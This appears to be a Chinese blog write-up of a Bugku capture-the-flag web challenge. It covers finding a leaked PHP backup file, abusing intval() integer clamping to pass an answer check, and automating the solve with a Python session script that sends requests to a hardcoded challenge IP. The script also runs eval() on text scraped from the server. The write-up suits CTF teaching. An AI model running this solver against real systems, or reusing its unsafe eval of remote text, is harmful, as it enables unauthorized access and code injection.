W2_小绿草之最强大脑_bugku

打开来是一个数学计算,看眼源码,发现有个这个

<!--源码泄露了解一下?-->
大概猜到是有个index.php.bak备份文件暴露给用户了,不知道也没关系,直接dirsearch也可以扫描到
查看文件

点击查看代码
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
		session_destroy();
		echo '
		<script language="javascript">  
		alert("怎么没算对呢?");  
		window.history.back(-1);  </script>';
	}
	else{
		if(intval(time())-$_SESSION['time']<1){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你手速太快啦,服务器承受不住!!!");  
			window.history.back(-1); </script> ';
		}
		if(intval(time())-$_SESSION['time']>2){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你算的太慢了少年!");  
			window.history.back(-1); </script> ';
		}
		echo '
		<script language="javascript">  
		alert("tql,算对了!!");  
	     </script> ';
		$_SESSION['count']++;
	}
}
?>
观察到以下几点特征: 1.post要传入ans和input,后者是那个长数字 2.有时间检验少于一秒大于两秒都被过滤 3.使用intval转换input类型 其中第三点有个坑,就是intval有范围限制 该函数在32位系统支持-2147483648至2147483647的整数值,64位系统支持-9223372036854775808至9223372036854775807 该题目是64位 于是开始写代码 如下:
点击查看代码
import re
import requests
import time


url="http://49.232.142.230:17047/"
res=requests.session()
response = res.get(url)
time.sleep(1)

while True:
    math=""
    text=response.text
    pattern=re.compile(r'<div style="display:inline;">(\S)</div>')
    reslist=re.findall(pattern,text)
    math=''.join(reslist).strip('=')
    num=eval(math)+9223372036854775807
    mydata={
        'ans':num,
        'input':"99999999999999999999999999999999999999999999"
    }
    response=res.post(url,data=mydata)
    print(response.text)
    time.sleep(1)
    if "ctf{" in response.text:
        break

因为是连续会话,所以要用session(ps:第一次用,学到了:D
算式匹配主要用的是正则,转str然后eval求值

posted @ 2026-02-28 23:37  HexCat  阅读(0)  评论(0)    收藏  举报